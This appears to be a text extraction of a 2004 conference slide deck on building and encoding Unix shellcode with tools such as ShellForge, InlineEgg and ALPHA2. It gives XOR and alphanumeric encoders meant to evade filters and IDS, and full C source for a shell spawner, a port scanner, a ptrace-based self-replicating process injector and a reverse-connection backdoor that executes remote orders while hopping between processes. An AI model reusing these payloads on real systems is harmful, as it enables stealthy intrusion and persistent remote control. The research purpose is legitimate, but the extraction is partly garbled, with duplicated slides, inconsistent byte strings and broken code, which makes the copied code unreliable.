About Unix Shellcodes

Philippe BIONDI

philippe.biondi@eads.net / phil@secdev.org

EADS
Corporate Research Center
SSI Department
Suresnes, FRANCE

SyScAN 2004, Dec 16-17, 2004
Outline

1. Introduction
2. Shellcode Generation
   • Theory
   • Practice
3. Shellcode Encoding
   • Theory
   • Practice
4. Examples
   • Simple examples
   • Advanced examples
5. Conclusion
Outline

1. Introduction
   - Shellcode Generation
     - Theory
     - Practice
   - Shellcode Encoding
     - Theory
     - Practice
   - Examples
     - Simple examples
     - Advanced examples
2. Conclusion
Shellcode, this strange animal...

Definition of a shellcode (or egg)

- Executable that is used as a payload
- Usually out of any structure (ELF, PE, ...)
- Used to inject a raw set of instructions
- Usually spawns a shell
Injection vs Redirection

- Injection is easy (does not need any flaw)
  - from an input (login, password, command, parameter, ...)
  - from data read on disk
  - from environment variables
  - from shared memory
  - injected with ptrace() (or other debug mechanism)
  - injected by kernel
  - ...

- Execution flow redirection is hard (need a flaw to gain sth)
  - buffer overflow, format string, integer overflow, ...
  - debug privileges (ptrace(), ...), kernel
Subtleties

- Injection through unclear channels
  - `str*()` functions \(\Rightarrow\) \text{x00}-free shellcodes
  - text-only filters \(\Rightarrow\) alphanumeric shellcodes
  - unicode filters \(\Rightarrow\) unicode shellcodes

- Limited size injections
  - \(\Rightarrow\) shellcodes as small as possible
  - \(\Rightarrow\) multi-stage shellcodes

- Executability subtleties
  - need to be in an executable memory zone
  - may need to flush processor instruction cache
The NOP landing runway

Some injection technics do not guarantee the exact address of the shellcode.

- Some address bruteforce may be needed when redirecting the execution flow
- To increase chances to execute the shellcode from the first byte, we use a big landing track that will do nothing else than driving the instruction pointer to the first byte of the shellcode

Example

```
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x55\x89\xe5\xe8\x00
```
Problematics

- Generating a shellcode
- Injecting a shellcode
- Jumping to the shellcode
- Having the shellcode know its own absolute address
- Having the shellcode resist to unclear channels
- Being stealthy
Outline

1. Introduction
2. Shellcode Generation
   - Theory
   - Practice
3. Shellcode Encoding
   - Theory
   - Practice
4. Examples
   - Simple examples
   - Advanced examples
5. Conclusion
Some ways to make a shellcode

- Written directly in machine code with `cat`
- Written in assembly language
- Compiled and ripped from binary executable/object
- Compiled with a *binary* target and an adapted linker script
- Compiled with a custom compiler
- ...
UNIX shellcoding principle

We can directly call some kernel functions (system calls) with special instructions:

- x86: int, lcall
- Sparc: ta
- ARM: swi
- Alpha: callsys, call_pal
- MIPS: callsys
- PA-RISC: ble
- m68k: trap
- PowerPC: sc
ShellForge’s way of building a shellcode

**Framework**

1. **C**
   - compile/cross-compile
   - assemble
   - extract
   - transform
   - present

2. **ASM**
   - modify
   - assemble
   - extract

3. **modified ASM**

4. **ELF object**

5. **Shellcode**
   - Raw shellcode
   - C string shellcode
   - Shellcode in C program
   - Runnable ELF with shellcode inside

**Philippine BIONDI**  
**About Unix Shellcodes**
ShellForge’s way of building a shellcode

Source

- C program
- No external library
- Direct use of system calls with inline functions
- Make global variables `static` to prevent gcc using GOT references

Example: *Hello world* shellcode

```c
void main(void)
{
    char buf[] = "Hello world!\n";
    write(1, buf, sizeof(buf));
    exit(5);
}
```

Philippe BIONDI  About Unix Shellcodes
ShellForge’s way of building a shellcode
The ShellForge Library

- Each syscall has a number:

```
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
```

- Each syscall is declared like this (nothing new):

```
static inline _sfsyscall1( int, exit, int, status )
static inline _sfsyscall0( pid_t, fork )
static inline _sfsyscall3( ssize_t, read, int, fd, void *, buff )
static inline _sfsyscall3( ssize_t, write, int, fd, const void *buf )
static inline _sfsyscall3( int, open, const char *pathname, mode_t mode )
```
ShellForge’s way of building a shellcode
The ShellForge Library

- We use those kinds of macros:

```c
#define _sfsystemcall1(type, name, type1, arg1) \
    type name(type1 arg1) \
    { long __res; \
      __asm__ volatile ( "pushl %ebx\n      " movl %2, %ebx\n      " int $0x80\n      " popl %ebx" \
        : "=a" (__res) \
        : "0" (__NR_##name), "g" ((long)(arg1))); \n      __sfsystemcall_return(type, __res); } 
```

- 2 differences with libc syscall wrappers:
  - we can decide whether we extract errno from return value
  - i386: we preserve ebx (PIC code)
Outline

1 Introduction

2 Shellcode Generation
   - Theory
   - Practice

3 Shellcode Encoding
   - Theory
   - Practice

4 Examples
   - Simple examples
   - Advanced examples

5 Conclusion
Stealth’s HellKit:

- Composed of
  - C programs
  - C header file with usual syscall macros and a dozen of syscalls
- How it works
  - Compiles a C program
  - Extracts the shellcode from the ELF
  - Presents it
- Ancestor of ShellForge
LSD’s UNIX Assembly Codes Development

Pieces of code for different architectures to

- Find socket’s file descriptor
- Open a socket
- Restore privileges (setuid(0)-like)
- Escape chroot()
- Execute a shell
- ...

ready to put one after the other.
(Irix/MIPS, Solaris/Sparc, HP-UX/PA-RISC, AIX/PowerPC, Solaris/x86 Linux/x86, {Free—Net—Open}BSD/x86, BeOS/x86)
Dave Aitel’s MOSDEF:

- C subset compiler and assembler, written in pure python
- Generates x86 shellcodes directly
- Framework for using the generated shellcodes
Gera’s InlineEgg:

```python
$ python
>>> import inlineegg
>>> egg = inlineegg.InlineEgg(inlineegg.FreeBSDx86Syscall)
>>> egg.setuid(0)
'eax'
>>> egg.setgid(0)
'eax'
>>> egg.execve('/bin/sh', ('bash', '-i'))
'eax'
>>> egg.getCode()
'j\x00Pj\x17X\xcd\x80j\x00Ph\xb5\x00\x00\x00X\xcd\x80j\x00hbash\x89\xe0h-i\x00\x00\x89\xe1j\x00QPh/sh/x00h/bin/x89xe0/x8dl \x08#j/x00QPPj;X/\xcd/x80'
```
Gera’s InlineEgg:  
(a bit more advanced use)

uid = egg.getuid()
___no_root = egg.If(uid, '!=', 0)
___no_root.write(1,'You are not root!\n')
___no_root.exit(1)
___no_root.end()
egg.write(1,'You are root!\n')
egg.exit(0)
egg.dumpElf('amIroot')
Gera’s Magic Makefile:
“I wanted to try this idea, because if you want to write shellcode in C there’s no point in writing a new compiler, because there are already plenty of good compilers out there”

%.bin: %.c mkchars.py syscalls.h linker.ld
   gcc -O4 -ffixed-ebx -nostdlib -nodefaultlibs -fPIC -o $@ $< -Wl,-T,linker.ld
%.chars.c: %.bin
   python mkchars.py $(F) < $< > $@
%.chars: %.chars.c
   gcc -o $@ $<
%.bin: %.S
   cc -O4 -o $@ $< -nostdlib -Xlinker -s -Xlinker --gc-sections -Wl,--oformat,binary
.S:
   cc -O4 -o $@ $< -nostdlib -Xlinker -s -Xlinker --gc-sections
linker.ld: Makefile
   @echo "SECTIONS {}" > $@
   @echo " /DISCARD/ : {}" >> $@
   @echo " *(.stab*)" >> $@
   @echo " *(.comment)" >> $@
   @echo " *(.note)" >> $@
   @echo ""}" >> $@
   @echo " _GLOBAL_OFFSET_TABLE_ = .;" >> $@
   @echo " all : {*(.text, .data, .bss)}" >> $@
   @echo "}" >> $@
ShellForge
Architectures supported at the moment

- Linux/i386
- FreeBSD/i386
- OpenBSD/i386
- Linux/PA-RISC
- HPUX/PA-RISC
- Linux/Alpha
- Linux/Arm
- Linux/m68k
- Linux/MIPS
- Linux/MIPSel
- MacOS/PowerPC
- Linux/PowerPC
- Linux/S390
- Solaris/Sparc
- Linux/Sparc
ShellForge
Example: generating a shellcode for a Linux/Sparc platform

```bash
$ ./shellforge.py --arch=linux-sparc hello.c

\x9d\xe3\xbf\x88\x07\x00\x00\x00\x40\x00\x00\x1b\xae\x00\x3f\xf8\x82\x10\xe0
\x80\xb4\x05\xc0\x01\xc2\x16\xa0\x0c\x92\x07\xbf\xe8\xf0\x1e\x80\x00\xc2\x37
\xbf\xf4\xc8\x06\xa0\x08\xf0\x3f\xbf\xe8\xc8\x27\xbf\xf0\x82\x10\x20\x04\x90
\x10\x20\x01\x94\x10\x20\x0e\x91\xd0\x20\x10\x1a\x80\x00\x03\x82\x10\x00\x08
\x82\x20\x00\x08\x82\x10\x20\x01\x90\x10\x20\x05\x91\xd0\x20\x10\x1a\x80\x00
\x03\x82\x10\x00\x08\x82\x20\x00\x08\x01\x00\x00\x00\x81\xc7\xe0\x08\x81\xe8
\x00\x00\x81\xc3\xe0\x08\xae\x03\xc0\x17\x01\x00\x00\x00\x48\x65\x6c\x6c\x6f
\x20\x77\x6f\x72\x6c\x64\x21\x00\x00\x00
```

Philippe BIONDI  About Unix Shellcodes
Outline

1 Introduction

2 Shellcode Generation
   - Theory
   - Practice

3 Shellcode Encoding
   - Theory
   - Practice

4 Examples
   - Simple examples
   - Advanced examples

5 Conclusion
Shellcode Encoding

- Shellcodes can be encoded
  - to give them a suitable shape (\x00-free, unicode, alphanumerical, \ldots)
  - to make them stealthy

- Once the suitable encoding is found we need to
  1. encode the shellcode
  2. append it to a decoder

The hard point is: the decoder must also fit the shape we need!
Shellcode Encoding

Principle of encoding

- Change the shape of the shellcode
- Append a loader that has the same properties

Example: XOR encoding to avoid \x00

\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b... becomes

\xeb\x0d\x5e\x31\xc9\xb1\x66\x80\x36\x02\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x57\x8b\xe7\x55\x54\x51\xea\x02\x02\x02\x02\x59...
Shellcode Encoding

Principle of encoding

- Change the shape of the shellcode
- Append a loader that has the same properties

Example: XOR encoding to avoid \x00

\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x00\x5b...

becomes

\xeb\x0d\x5e\x31\xc9\xb1\x66\x80\x36\x02\x46\xea\x02\x02\x02\x02\x5a...
Shellcode Encoding

Principle of encoding

- Change the shape of the shellcode
- Append a loader that has the same properties

Example: XOR encoding to avoid \x00

\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b... becomes
\xeb\x0d\xe5\x31\xc9\xb1\x66\x80\x36\x02\x46\xe2\xfa\xeb\x05\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x02\x59...
Shellcode Encoding
Principle of encoding

- Change the shape of the shellcode
- Append a loader that has the same properties

Example: XOR encoding to avoid \x00

\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b... becomes
\xeb\x0d\x5e\x31\xc9\xb1\x66\x80\x36\x02\x46\xe2\xfa
\xeb\x05\xe8\xee\xff\xff\xff\x57\x8b\xe7\x55\x54\x51
\xea\x02\x02\x02\x02\x59...
Shellcode Encoding

Principle of encoding

- Change the shape of the shellcode
- Append a loader that has the same properties

Example: XOR encoding to avoid \x00

\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b...

becomes

\xeb\x0d\x5e\x31\xc9\xb1\x66\x80\x36\x02\xe2\xfa
\xeb\x05\xe8\xee\xff\xff\xff\x57\x8b\xe7\x55\x54\x51
\xea\x02\x02\x02\x02\x59...
Shellcode Encoding

The loader

- The aim of the loader is to decode its payload and execute it.
- Simple decoders usually loop over the shellcode and decode it byte by byte.
- Decoders must respect the very same constraints as the encoded payload (\x00-free, alphanumeric, etc.).
- It may be hard/impossible to get the absolute address of the payload (a.k.a GetPC).
Outline

1 Introduction

2 Shellcode Generation
   • Theory
   • Practice

3 Shellcode Encoding
   • Theory
   • Practice

4 Examples
   • Simple examples
   • Advanced examples

5 Conclusion
Simple XOR loader

```
0000  eb 0d    jmp  <shellcode+0xf>
0002  5e    pop  %esi
0003  31 c9    xor  %ecx,%ecx
0005  b1 66    mov  $0x66,%cl
0007  80 36 02  xorb  $0x2,(%esi)
000a  46    inc  %esi
000b  e2 fa    loop  <shellcode+0x7>
000d  eb 05    jmp  <shellcode+0x14>
000f  e8 ee ff ff ff call  <shellcode+0x2>
0014  ...
GetPC code (by noir)

- This *GetPC* does not use the call/pop trick
- \\x00 and \\xff free, unlike any *GetPC* using call
- Still not perfect though

```
31 c0 1. xor %eax,%eax
50 P push %eax
d8 34 24 .4$ fdivs (%esp,1)
d9 34 24 .4$ fnstenv (%esp,1)
8b 44 24 0c .D$. mov 0xc(%esp,1),%eax
```
Scrippie’s SMEGMA
Shellcode Mutation Engine for Generating Mutated Assembly

- Try to remove unwanted characters
- Use xoring, adding and uuencoding
K2’s ADMmutate: [K2]

- Have your shellcode evades IDS:
  - xor the shellcode with a random key
  - append a polymorphic decoder
  - transform NOP strings with polymorphic NOP-like strings
  - supported architectures: IA32, Sparc, MIPS, HP-PA
Rix’s ASC [Rix, 2001]
IA32 Alphanumeric Shellcode Compiler

- Transform a shellcode into an alphanumeric equivalent
- Need to provide the shellcode address to the shellcode (alphanumeric getPC code not resolved here)
Skylined’s ALPHA2 [Skylined, 2004]  
IA32 unicode/uppercase shellcode encoder

- Transform a shellcode into an alphanumeric or unicode equivalent
- A tear of polymorphism
- GetPC support
  - Windows SEH GetPC
  - from a register
  - from a memory location

$ ./alpha2 --uppercase ecx < /tmp/shellcode
IIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAQ2AB2BB0BBXP8
ACJJIQEMYM5QG0VPSKKXUPUP5P30QKK103L5K0K0K0LCZLULKLLMCM
HXLM830XUP5PS089C35P5PS0L30ULM0U8X2F0UMYXK3ZDJP00UQU
PEPC088TDEP5P5P0JTNEPS0EP1CK9KHM0K01KMYXPS0KS5C05PEP
XMMP1KLMCUJTQQK1N10YY03QXU5RLBL2GP470RR2LRDWQDJUPUZA
ShellForge’s alphanumeric loader
Inspired from Rix work [Rix, 2001]

- Make a loader that rebuild the original shellcode on the stack
- Last character is not alphanumeric
- Twice as big as ALPHA2

```
$ ./shellforge.py -R --loader=alpha examples/hello.c
```

Philippe BIONDI
About Unix Shellcodes
Outline

1 Introduction

2 Shellcode Generation
   • Theory
   • Practice

3 Shellcode Encoding
   • Theory
   • Practice

4 Examples
   • Simple examples
   • Advanced examples

5 Conclusion
The one where the shellcode spawns a shell

```c
int main()
{
    char *a[] = {"/bin/sh", 0};
    execve(*a, a, 0);
}
```

```
$ ./shellforge.py -tt examples/binsh.c
sh-2.05b$
```
The one where the shellcode scans 5000 TCP ports

```c
int main(void) {
    struct sockaddr_in sa;
    int s, l, i = 0;
    char buf[1024];
    sa.sin_family = PF_INET;
    sa.sin_addr.s_addr = htonl(127,0,0,1);

    reopen: if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0)
        write(1,"error
",6);
    while(++i < 5000) {
        sa.sin_port = htons(i);
        if (!connect(s, (struct sockaddr *)&sa,
                     sizeof(struct sockaddr)) < 0) {
            write(1, &i, sizeof(i));
            close(s);
            goto reopen;
        }
    }
    close(1);
    exit(0);
}
```
The one where the shellcode scans 5000 TCP ports

```bash
$ ./shellforge.py -tt examples/scanport.c | od -td4
00000000  9  13  21  22
00000200  25  37  53 111
00000400  515 737 991
```
The one where the shellcode detects VMware

```c
int main(int argc, char *argv[])
{
    int a[4] = {0, 0, 0, 0};

    __asm__ (
        "sidt %0\n" 
        "sgdt %1\n"
        : "=m" (a), "=m" (a[2])
    );

    write(1, a, 16);
}
```

On a normal Linux box

```
$ ./shellforge.py -tt examples/vmware_idt.c | od -tx4
0000000 700007ff 0000c03b 100000ff 0000c034
```

On a VMware

```
0000000 780007ff 0000ffc1 772040af 0000ffc0
```

Philippe BIONDI  About Unix Shellcodes
Outline

1 Introduction

2 Shellcode Generation
   - Theory
   - Practice

3 Shellcode Encoding
   - Theory
   - Practice

4 Examples
   - Simple examples
   - Advanced examples

5 Conclusion
The VNC shellcode from MetaSploit

- Multi-stage shellcode
- VNC DLL is directly uploaded into memory
- Nothing has ever hit the hard disk
- Logged as `system`, on top of the login screen

Philippe BIONDI 

About Unix Shellcodes
The swapTTY Shellcode [source]

1. The shellcode is injected into 2 processes.
2. The first instance waits for the second one on an anonymous UNIX socket.
3. Once they are connected, they transfer file descriptors 0, 1, 2 to each other with ancillary messages.
4. Each one installs file descriptors of the other one in place of its own 0, 1, 2.
5. They give the hand back to the process.
Ghost in the Shellcode [source]

1. The shellcode executes a payload into the process context.
2. It injects and runs itself into another process.
3. It gives the hand back to the process while its copy carries on its own life.

Philippe BIONDI  About Unix Shellcodes
Hogwarts’ Backdoor [source]

The very first instance establishes a TCP reverse connection. Then each instance:

- Reads and execute any order in the socket
- Replicates to another process
- Transmits the socket to the other instance
- Gives the hand back to the process
Hogwarts’ Backdoor [source]

The socket moves from one process to another

# netstat -ptn | grep 31337
127.0.0.1:2385 127.0.0.1:31337 ESTBLSHD 21012/bash
# netstat -ptn | grep 31337
127.0.0.1:2385 127.0.0.1:31337 ESTBLSHD 21038/powershl
# netstat -ptn | grep 31337
127.0.0.1:2385 127.0.0.1:31337 ESTBLSHD 21040/csh
Outline

1 Introduction

2 Shellcode Generation
   - Theory
   - Practice

3 Shellcode Encoding
   - Theory
   - Practice

4 Examples
   - Simple examples
   - Advanced examples

5 Conclusion
Shellcodes can do more than spawn a shell
Shellcodes are not used only in buffer overflows
Shellcodes can be very powerful for targeted attacks
That’s all folks!
Thanks for your attention.
You can reach me at phil@secdev.org
These slides are online at http://www.secdev.org/
References

Sources
- The swaptty shellcode
- Ghost in the Shellcode
- Hogwarts’ Backdoor
References

7 Sources
- The swaptty shellcode
- Ghost in the Shellcode
- Hogwarts’ Backdoor
References I

- Rix, 2001, *Writing IA32 Alphanumeric Shellcodes*, Phrack 57
  http://www.phrack.org/show.php?p=57&a=15

- obscou, 2003 *Building IA32 'Unicode-Proof' Shellcodes*, Phrack 61

- Detristan et al., 2003 *Polymorphic Shellcode Engine Using Spectrum Analysis*, Phrack 61

- Skylined, 2004, *Writing IA32 Restricted Instruction Set Shellcode Decoder Loops*
  http://www.edup.tudelft.nl/~bjwever/whitepaper_shellcode.html

K2, *ADMutate, A Shellcode Mutation Engine*  
http://www.ktwo.ca/readme.html

Biondi, 2004, *ShellForge*  
http://www.secdev.org/projects/shellforge.html
The swaptty shellcode (1/3)

```c
#define RDV1 0x00123400
#define RDV2 0x00567800

#define memcpy(d, s, l) for (i=0; i<l; i++)
  (((unsigned char *)d)[i] = (((unsigned char *)s)[i]);

int main(void)
{
  int s;
  struct sockaddr_un sa;
  int a, i;
  struct msghdr msg = {0};
  struct cmsghdr *cmsg;
  int fds[3] = {0, 1, 2};
  char buf[32];
  int fdo[3];

  for (i=4; i<108; i++) sa.sun_path[i]=0;
  sa.sun_family = AF_UNIX;
  *(int *)sa.sun_path=RDV1;
  a = 4;
```
The swaptty shellcode (2/3)

```c
s = socket(PF_UNIX, SOCK_DGRAM, 0);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    *(int *)sa.sun_path=RDV2;
    bind(s,(struct sockaddr *)&sa, sizeof(sa));
a = 1;
}

loop:
msg.msg_control = buf;
if (a & 1) {
    msg.msg_controllen = CMSG_SPACE(sizeof(fds));
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    cmsg->cmsg_len = CMSG_LEN(sizeof(fds));
    memcpy(CMSG_DATA(cmsg), fds, sizeof(fds));
    sendmsg(s, &msg, 0);
    a++;
    if (a < 3) goto loop;
}
```

Philippe BIONDI

About Unix Shellcodes
else {
    msg.msg_controllen = sizeof(buf);
    while (recvmsg(s, &msg, 0) == -EAGAIN);
    cmsg = MSG_FIRSTHDR(&msg);
    memcpy(fdo, CMSG_DATA(cmsg), sizeof(fdo));
    a++;
    if (a > 4) {
        *(int *)sa.sun_path = RDV2;
        connect(s, (struct sockaddr *)&sa,
                sizeof(sa));
        goto loop;
    }
}

close(s);
for (i=0; i<3; i++) {
    dup2(fdo[i], i);
    close(fdo[i]);
}
References

Sources

- The swaptty shellcode
- Ghost in the Shellcode
- Hogwarts’ Backdoor
#include <sys/user.h>
#define ERESTARTSYS 512
#define ERESTARTNOINTR 513
#define ERESTARTNOHAND 514 /* restart if no handler.. */
#define WUNTRACED 2 /* Report status of stopped children */
#define LOADSZ 1900

static char gen = 'A';
static char digits[] = "0123456789";
static struct timespec slptime = {
    .tv_sec = 0,
    .tv_nsec = 900000000,
};

#define PLEN 15
static int pnum = 0;
static int mode = 0;

static int path[PLEN] = {0,1,2,3,4,5,6,7,8,9,0,1,2,3,4};
static int main(void) {
    int pid, old_eip, start, i, ok;
    struct user_regs_struct regs;

    __asm__ ("pusha");

    /* *** exec the mission ***/
    pid = getpid();
    write(1,"Hi, I'm gen [",13);
    write(1,&gen,1);
    write(1,"] from pid [",12);
    write(1,&digits[(pid/10000)%10],1);
    write(1,&digits[(pid/1000)%10],1);
    write(1,&digits[(pid/100)%10],1);
    write(1,&digits[(pid/10)%10],1);
    write(1,&digits[pid%10],1);
    write(1,"] \n",2);
    nanosleep(&slptime, NULL);
    gen++;
}
/** replicate **/

ok = 0;
do {
    if (mode == 0) {
        pid = getppid();
        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
            mode = 1;
    else {
        ok = 1;
        if (pnum < PLEN)
            path[pnum++] = getpid();
    }
}
    if (mode == 1) {
        if (!pnum) {
            mode = 0;
            continue;
        }
        pid = path[--pnum];
        if (!ptrace(PTRACE_ATTACH, pid, NULL, NULL))
            ok = 1;
    }
} while (!ok);
waitpid(pid, 0, WUNTRACED);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
start = regs.esp – 1024 – LOADSZ;
for (i = 0; i < LOADSZ; i += 4)
    ptrace( PTRACE_POKEDATA, pid, (void *)(start + i),
            (void *)(int *)(((unsigned char *)(&main)) + i) );

/*** Change execution flow ***/
old_eip = regs.eip;
regs.eip = start;
if ((regs.orig_eax >= 0) &&
    (regs.eax == -ERESTARTNOHAND ||
     regs.eax == -ERESTARTSYS ||
     regs.eax == -ERESTARTNOINTR)) {
    regs.eip += 2;
    old_eip -= 2;
}

/*** push eip ***/
regs.esp -= 4;
ptrace(PTRACE_POKEDATA, pid, (char *)regs.esp, (char *)old_eip);
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
if (gen == 'B') exit(0);

__asm__("popa");
References

Sources

- The swaptty shellcode
- Ghost in the Shellcode
- Hogwarts’ Backdoor
```c
#include <sys/user.h>
#define ERESTARTSYS 512
#define ERESTARTNOINTR 513
#define ERESTARTNOHAND 514 /* restart if no handler.. */
#define WUNTRACED 2 /* Report status of stopped children. */
#define LOADSZ 2900

#define BACK_IP IP (127,0,0,1)
#define BACK_PORT 31337

static char gen = '?';
static char digits[] = "0123456789";
#define PLEN 15
static int pnum = 0;
static int firsttime = 1;
static int mode = 0;

static int path[PLEN] = {0,1,2,3,4,5,6,7,8,9,0,1,2,3,4};
```
Hogwarts’ Backdoor (2/8)

```c
static int main(void)
{
    int pid, old_eip, start, i, ok, s, t;
    struct user_regs_struct regs;
    struct sockaddr_in sa;
    struct sockaddr_un un;
    char buf[16];
    struct msghdr msg = {0};
    struct cmsghdr *cmsg;
    struct timeval slptime;

    __asm__ ("pusha");

    /* *** get the socket ***/
    un.sun_family = AF_UNIX;
    for (i=4; i<108; i++) un.sun_path[i]=0;
    *(int *)un.sun_path=0x00123400;
    msg.msg_control = buf;
```
if (firsttime == 1) {
    firsttime = 0;
    s = socket(PF_INET, SOCK_STREAM, 0);
    sa.sin_family = PF_INET;
    sa.sin_addr.s_addr = BACK_IP;
    sa.sin_port = htons(BACK_PORT);
    while (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0)
    }
else {
    t = socket(PF_UNIX, SOCK_DGRAM, 0);
    while (bind(t, (struct sockaddr *)&un, sizeof(un)) < 0);
    msg.msg_controllen = sizeof(buf);
    while (recvmsg(t, &msg, 0) < 0);
    cmsg = CMSG_FIRSTHDR(&msg);
    s = *(int *)CMSG_DATA(cmsg);
    close(t);
}
/*** do the mission ***/

```c
pid = getpid();
{
    write(s, &gen, 1);
    fd_set fds;

    FD_ZERO(&fds);
    FD_SET(s, &fds);
    slptime.tv_sec = 0;
    slptime.tv_usec = 900000;

    if (select(s+1, &fds, NULL, NULL, &slptime) > 0) {
        t = read(s, buf, 16);
        write(1,"Hi, I'm gen ",13);
        write(1,&gen,1);
        write(1," from ",12);
        write(1,&digits[ (pid / 10000) % 10 ],1);
        write(1,&digits[ (pid / 1000) % 10 ],1);
        write(1,&digits[ (pid / 100) % 10 ],1);
        write(1,&digits[ (pid / 10) % 10 ],1);
    }
}
```

Philippe BIONDI  About Unix Shellcodes
Hogwarts’ Backdoor (5/8)

```c
write(1, &digits[pid % 10], 1);
write(1, "].I.received[", 15);
write(1, buf, t - 1);
write(1, ">
" , 2);

gen++;
if (gen > 'Z') gen = 'A';

/*** replicate ***/
ok = 0;
do {
    if (mode == 0) {
        pid = getppid();
        if (ptrace(PTRACE_ATTACH, pid, NULL, NULL))
            mode = 1;
    else {
        ok = 1;
        if (pnum < PLEN)
            path[pnum++] = getpid();
    }
}
```

Philippe BIONDI

About Unix Shellcodes
Hogwarts’ Backdoor (6/8)

```c
if (mode == 1) {
  if (!pnum) {
    mode = 0;
    continue;
  }
  pid = path[---pnum];
  if (!ptrace(PTRACE_ATTACH, pid, NULL, NULL))
    ok = 1;
}
} while (!ok);

waitpid(pid, 0, WUNTRACED);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
start = regs.esp - 1024 - LOADSZ;
for (i=0; i < LOADSZ; i+=4)
  ptrace(PTRACE_POKEDATA, pid, (void *) (start+i),
         (void *)(int *)((((unsigned char *)(&main)) + i)));
```
/** Change execution flow **/
old_eip = regs.eip;
regs.eip = start;
if ((regs.orig_eax >= 0) &&
    (regs.eax == -ERESTARTNOHAND ||
     regs.eax == -ERESTARTSYS ||
     regs.eax == -ERESTARTNOINTR)) {
    regs.eip += 2;
    old_eip -= 2;
}

/** push eip **/
regs.esp -= 4;
ptrace(PTRACE_POKEDATA, pid, (char *)regs.esp, (char *)old_eip);
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
t = socket(PF_UNIX, SOCK_DGRAM, 0);

while (connect(t, (struct sockaddr *)&un, sizeof(un)) < 0);

msg.msg_controllen = CMSG_SPACE(sizeof(s));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(s));
*(int *)CMSG_DATA(cmsg) = s;
sendmsg(t, &msg, 0);
close(t);
close(s);

if (gen == '@') exit(0);

__asm__("popa");
}